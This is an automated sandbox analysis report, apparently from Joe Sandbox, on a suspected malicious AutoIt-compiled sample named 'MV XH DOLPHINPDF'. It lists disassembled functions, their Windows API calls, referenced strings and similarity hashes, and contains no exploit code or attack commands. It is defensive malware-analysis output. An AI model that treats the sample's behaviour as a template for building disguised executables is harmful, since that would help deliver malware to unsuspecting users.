GetClientRect.USER32(00000000,000000FF), ref: 000829AE
GetStockObject.GDI32(00000011), ref: 000829CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 000829D5

Part of subcall function 00082344: GetCursorPos.USER32(?), ref: 00082357
Part of subcall function 00082344: ScreenToClient.USER32(001467B0,?), ref: 00082374
Part of subcall function 00082344: GetAsyncKeyState.USER32(00000001), ref: 00082399
Part of subcall function 00082344: GetAsyncKeyState.USER32(00000002), ref: 000823A7

SetTimer.USER32(00000000,00000000,00000028,00081256), ref: 000829FC

Strings

AutoIt v3 GUI, xrefs: 00082974

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: aa27f272dcc273e879898d7dc9deff2595feaf02c520d289480003b6f7fb60cd
Instruction ID: 9b3613966f3783649831cf980f97f199563b9b0c685e9f809aaf11ef06ff18b0
Opcode Fuzzy Hash: aa27f272dcc273e879898d7dc9deff2595feaf02c520d289480003b6f7fb60cd
Instruction Fuzzy Hash: ADB17C71A0020AEFDB24EFA8DC45BEE7BA4FB08715F108129FA55E76A0DB709941CB51

Function 00104069 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001040F6
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 001041B6

Strings

DESELECT, xrefs: 001042A4
ISSELECTED, xrefs: 001041C1
GETSELECTED, xrefs: 001042E4
SELECTINVERT, xrefs: 00104286
FINDITEM, xrefs: 00104329
SELECT, xrefs: 00104250
GETSUBITEMCOUNT, xrefs: 00104141
GETTEXT, xrefs: 0010415F
SELECTCLEAR, xrefs: 00104235
SELECTALL, xrefs: 0010421D
VIEWCHANGE, xrefs: 00104375
GETSELECTEDCOUNT, xrefs: 00104199
GETITEMCOUNT, xrefs: 00104128

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 8c393a6a1308579a1cb48c96b8837a8040541b5ec61a1a548f391bc5ca59ddd4
Instruction ID: 46feb2fb8469eab8c6020fa4cb5edfa48fbd726f1708c4f86ecc6dc3b4813c6c
Opcode Fuzzy Hash: 8c393a6a1308579a1cb48c96b8837a8040541b5ec61a1a548f391bc5ca59ddd4
Instruction Fuzzy Hash: EEA19CB02143059BCB18FF60C982AAAB7A5BF84314F14496CB9D69B7D3EB71EC05CB51

Function 000F52F0 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 000F5309
LoadCursorW.USER32(00000000,00007F8A), ref: 000F5314
LoadCursorW.USER32(00000000,00007F00), ref: 000F531F
LoadCursorW.USER32(00000000,00007F03), ref: 000F532A
LoadCursorW.USER32(00000000,00007F8B), ref: 000F5335
LoadCursorW.USER32(00000000,00007F01), ref: 000F5340
LoadCursorW.USER32(00000000,00007F81), ref: 000F534B
LoadCursorW.USER32(00000000,00007F88), ref: 000F5356
LoadCursorW.USER32(00000000,00007F80), ref: 000F5361
LoadCursorW.USER32(00000000,00007F86), ref: 000F536C
LoadCursorW.USER32(00000000,00007F83), ref: 000F5377
LoadCursorW.USER32(00000000,00007F85), ref: 000F5382
LoadCursorW.USER32(00000000,00007F82), ref: 000F538D
LoadCursorW.USER32(00000000,00007F84), ref: 000F5398
LoadCursorW.USER32(00000000,00007F04), ref: 000F53A3
LoadCursorW.USER32(00000000,00007F02), ref: 000F53AE
GetCursorInfo.USER32(?), ref: 000F53BE
GetLastError.KERNEL32(00000001,00000000), ref: 000F53E9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: a6e0537063b7aee6d89c3880910431cd02bb13fa64534c5d045ab57cde3fb2d5
Instruction ID: 94c20f6fc7b4a65906513575c4d29ca2b1533cf3e026aafa969c60c7f5b9199b
Opcode Fuzzy Hash: a6e0537063b7aee6d89c3880910431cd02bb13fa64534c5d045ab57cde3fb2d5
Instruction Fuzzy Hash: 41417470E043196ADB109FBA8C4986EFFF8EF51B10B10452FA609E7291DAB8A401CE91

Function 000DAA64 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 000DAAA5
__swprintf.LIBCMT ref: 000DAB46
_wcscmp.LIBCMT ref: 000DAB59
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 000DABAE
_wcscmp.LIBCMT ref: 000DABEA
GetClassNameW.USER32(?,?,00000400), ref: 000DAC21
GetDlgCtrlID.USER32(?), ref: 000DAC73
GetWindowRect.USER32(?,?), ref: 000DACA9
GetParent.USER32(?), ref: 000DACC7
ScreenToClient.USER32(00000000), ref: 000DACCE
GetClassNameW.USER32(?,?,00000100), ref: 000DAD48
_wcscmp.LIBCMT ref: 000DAD5C
GetWindowTextW.USER32(?,?,00000400), ref: 000DAD82
_wcscmp.LIBCMT ref: 000DAD96

Part of subcall function 000A386C: _iswctype.LIBCMT ref: 000A3874

Strings

%s%u, xrefs: 000DAB40

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 417fc0f41a5008afa3907bae291523c5054e6414e606dbbe1045c3ec4ff70d2b
Instruction ID: 6ceacb5310690fd50443c6fc4774249f6cdd0806e6a46df89d3d3bb0b0fa65cd
Opcode Fuzzy Hash: 417fc0f41a5008afa3907bae291523c5054e6414e606dbbe1045c3ec4ff70d2b
Instruction Fuzzy Hash: 74A1F571304306AFDB14DF64C884BEAB7E9FF05315F00462AF99AC2651DB30E946CBA2

Function 000DB397 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 000DB3DB
_wcscmp.LIBCMT ref: 000DB3EC
GetWindowTextW.USER32(00000001,?,00000400), ref: 000DB414
CharUpperBuffW.USER32(?,00000000), ref: 000DB431
_wcscmp.LIBCMT ref: 000DB44F
_wcsstr.LIBCMT ref: 000DB460
GetClassNameW.USER32(00000018,?,00000400), ref: 000DB498
_wcscmp.LIBCMT ref: 000DB4A8
GetWindowTextW.USER32(00000002,?,00000400), ref: 000DB4CF
GetClassNameW.USER32(00000018,?,00000400), ref: 000DB518
_wcscmp.LIBCMT ref: 000DB528
GetClassNameW.USER32(00000010,?,00000400), ref: 000DB550
GetWindowRect.USER32(00000004,?), ref: 000DB5B9

Strings

@, xrefs: 000DB3BC
ThumbnailClass, xrefs: 000DB4A3, 000DB523

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: b49697f943e1086127e4033d8f2a4688aeaa09adb750e882988c3d72219312b7
Instruction ID: adb2b2d730e1fac426cbff9e5cd01d482bc58dcadec3905b42751f4f628d3dfe
Opcode Fuzzy Hash: b49697f943e1086127e4033d8f2a4688aeaa09adb750e882988c3d72219312b7
Instruction Fuzzy Hash: BD81AC71008305DBDB14DF10D885FAA7BE8FF44714F08856AFD898A296DB34EE46CB61

Function 000DB1E0 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 000DB23F

Strings

LAST, xrefs: 000DB204
[ACTIVE, xrefs: 000DB22C
[REGEXPTITLE:, xrefs: 000DB267
ALL, xrefs: 000DB2D3
ACTIVE, xrefs: 000DB21A
CLASSNAME=, xrefs: 000DB27C
[CLASS:, xrefs: 000DB28F
[LAST, xrefs: 000DB2EC
[ALL, xrefs: 000DB2E5
HANDLE=, xrefs: 000DB238
REGEXP=, xrefs: 000DB254
[HANDLE:, xrefs: 000DB24B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 0560e696c704d357d4dfd416aeb27772594fb0e750f75ca7b09096c02ae74738
Instruction ID: 68994f07861cd0b78fe680527333704aebc3c09bab7a222cbf2555bc8c957e0b
Opcode Fuzzy Hash: 0560e696c704d357d4dfd416aeb27772594fb0e750f75ca7b09096c02ae74738
Instruction Fuzzy Hash: 1D318172A48305E6DB14FA61CD83EFE77B4AF24750F60042AB485711D7EFA1AF04CAA1

Function 000DC4C1 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 000DC4D4
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 000DC4E6
SetWindowTextW.USER32(?,?), ref: 000DC4FD
GetDlgItem.USER32(?,000003EA), ref: 000DC512
SetWindowTextW.USER32(00000000,?), ref: 000DC518
GetDlgItem.USER32(?,000003E9), ref: 000DC528
SetWindowTextW.USER32(00000000,?), ref: 000DC52E
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 000DC54F
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 000DC569
GetWindowRect.USER32(?,?), ref: 000DC572
SetWindowTextW.USER32(?,?), ref: 000DC5DD
GetDesktopWindow.USER32 ref: 000DC5E3
GetWindowRect.USER32(00000000), ref: 000DC5EA
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 000DC636
GetClientRect.USER32(?,?), ref: 000DC643
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 000DC668
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 000DC693

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 7f4a71090f6ae3b2d23c05fa3a219909574dd5c1f88f61a3a71eb2eef9509a81
Instruction ID: 8b6822a157287204aabc39bd51686a294796a472629a1fb25624f19c0ea02034
Opcode Fuzzy Hash: 7f4a71090f6ae3b2d23c05fa3a219909574dd5c1f88f61a3a71eb2eef9509a81
Instruction Fuzzy Hash: BF51507190070AAFEB20DFA8DD86F6EBBF5FF04705F00452DE586A2AA0C775A945CB50

Function 0010A428 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0010A4C8
DestroyWindow.USER32(?,?), ref: 0010A542

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0010A5BC
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0010A5DE
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0010A5F1
DestroyWindow.USER32(00000000), ref: 0010A613
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00080000,00000000), ref: 0010A64A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0010A663
GetDesktopWindow.USER32 ref: 0010A67C
GetWindowRect.USER32(00000000), ref: 0010A683
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0010A69B
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0010A6B3

Part of subcall function 000825DB: GetWindowLongW.USER32(?,000000EB), ref: 000825EC

Strings

tooltips_class32, xrefs: 0010A5B5, 0010A643
0, xrefs: 0010A4DE

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: e922f0435ee119b8ff553e4842c6c3d6f3369ed4b2e588e1858f1b970bbdb8b9
Instruction ID: 9245e0de516ba8763fb426830dc2fa64f20ed8c5877186bc64cde1c8ac05ac9e
Opcode Fuzzy Hash: e922f0435ee119b8ff553e4842c6c3d6f3369ed4b2e588e1858f1b970bbdb8b9
Instruction Fuzzy Hash: 3D716575140305AFD720DF28CC49FAA7BF6FB89304F48452DF985876A1D7B2A982CB12

Function 0010C8EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

DragQueryPoint.SHELL32(?,?), ref: 0010C917

Part of subcall function 0010ADF1: ClientToScreen.USER32(?,?), ref: 0010AE1A
Part of subcall function 0010ADF1: GetWindowRect.USER32(?,?), ref: 0010AE90
Part of subcall function 0010ADF1: PtInRect.USER32(?,?,0010C304), ref: 0010AEA0

SendMessageW.USER32(?,000000B0,?,?), ref: 0010C980
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0010C98B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0010C9AE
_wcscat.LIBCMT ref: 0010C9DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0010C9F5
SendMessageW.USER32(?,000000B0,?,?), ref: 0010CA0E
SendMessageW.USER32(?,000000B1,?,?), ref: 0010CA25
SendMessageW.USER32(?,000000B1,?,?), ref: 0010CA47
DragFinish.SHELL32(?), ref: 0010CA4E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0010CB41

Strings

@GUI_DRAGID, xrefs: 0010CAB9
@GUI_DROPID, xrefs: 0010CA6E
@GUI_DRAGFILE, xrefs: 0010CAF0

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 07182607643b8a1e947421d89998e8f1c807da4f070273e41fc36d134790899c
Instruction ID: 6beebb737d3ad86b8797b7be513dc912f910b15b35b53219dd1e70d33f394b20
Opcode Fuzzy Hash: 07182607643b8a1e947421d89998e8f1c807da4f070273e41fc36d134790899c
Instruction Fuzzy Hash: F7616B71108301AFC711EF64CC85D9BBBE8FF99714F400A2EF595961A2DBB09A49CB92

Function 00104619 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001046AB
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 001046F6

Strings

UNCHECK, xrefs: 001048D2
EXISTS, xrefs: 0010475F
ISCHECKED, xrefs: 00104879
GETTOTALCOUNT, xrefs: 001046DD
GETITEMCOUNT, xrefs: 001047D8
GETSELECTED, xrefs: 00104806
SELECT, xrefs: 001048A7
COLLAPSE, xrefs: 0010473C
EXPAND, xrefs: 001047A8
GETTEXT, xrefs: 00104849
CHECK, xrefs: 00104716

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: bb02bc768403ac21d29cecec28515018aea2922115ce53a59bd9aa968ff43ca7
Instruction ID: 8c8ec4f8a03880f12443611d3b3db6ce63383c34c8ad02872fa323c925851048
Opcode Fuzzy Hash: bb02bc768403ac21d29cecec28515018aea2922115ce53a59bd9aa968ff43ca7
Instruction Fuzzy Hash: FB916AB42043059FCB14FF50C491AAABBA1BF89314F04886DE9D65B3A3DB71ED06CB81

Function 0010BAB8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0010BB6E
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00109431), ref: 0010BBCA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0010BC03
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0010BC46
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0010BC7D
FreeLibrary.KERNEL32(?), ref: 0010BC89
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0010BC99
DestroyIcon.USER32(?,?,?,?,?,00109431), ref: 0010BCA8
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0010BCC5
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0010BCD1

Part of subcall function 000A313D: __wcsicmp_l.LIBCMT ref: 000A31C6

Strings

.exe, xrefs: 0010BB04
.dll, xrefs: 0010BB27
.icl, xrefs: 0010BAE4

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 20b61502dd77489f602e8498fe50bf8aba749d6cbf48270f2eb9b9c4fbe44a59
Instruction ID: 0e3fd1638cf61a3371aca7ff9b437c956e77841cc30a15879e0ea993022c8fa0
Opcode Fuzzy Hash: 20b61502dd77489f602e8498fe50bf8aba749d6cbf48270f2eb9b9c4fbe44a59
Instruction Fuzzy Hash: 4361DF71504219BBEB24DF64CD86FFE77A8FB08710F104119F995DA1C1DBB4A981DBA0

Function 000EA5BD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

CharLowerBuffW.USER32(?,?), ref: 000EA636
GetDriveTypeW.KERNEL32 ref: 000EA683
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000EA6CB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000EA702
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000EA730

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

Strings

close, xrefs: 000EA63C
wait, xrefs: 000EA6ED
closed, xrefs: 000EA64A, 000EA653
open , xrefs: 000EA692
set cd door , xrefs: 000EA6D1
type cdaudio alias cd wait, xrefs: 000EA6AE
open, xrefs: 000EA65D
close cd wait, xrefs: 000EA71B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 1d194e65b5c917e6fb0d44b9a2230ac17518c5dc5dfb598b48e70fad9481abc5
Instruction ID: f555145db0f61dbbb5c5dabdc84b2ec5e219d4fa184aa46727e83898e8b9bb3c
Opcode Fuzzy Hash: 1d194e65b5c917e6fb0d44b9a2230ac17518c5dc5dfb598b48e70fad9481abc5
Instruction Fuzzy Hash: 74512AB11082049FC704EF11C9818AAB7F4FF99718F54496CF8DA67262DB31EE0ACB52

Function 000EA45A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 000EA47A
__swprintf.LIBCMT ref: 000EA49C
CreateDirectoryW.KERNEL32(?,00000000), ref: 000EA4D9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 000EA4FE
_memset.LIBCMT ref: 000EA51D
_wcsncpy.LIBCMT ref: 000EA559
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 000EA58E
CloseHandle.KERNEL32(00000000), ref: 000EA599
RemoveDirectoryW.KERNEL32(?), ref: 000EA5A2
CloseHandle.KERNEL32(00000000), ref: 000EA5AC

Strings

\??\%s, xrefs: 000EA496
\, xrefs: 000EA4B2
:, xrefs: 000EA4BD

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
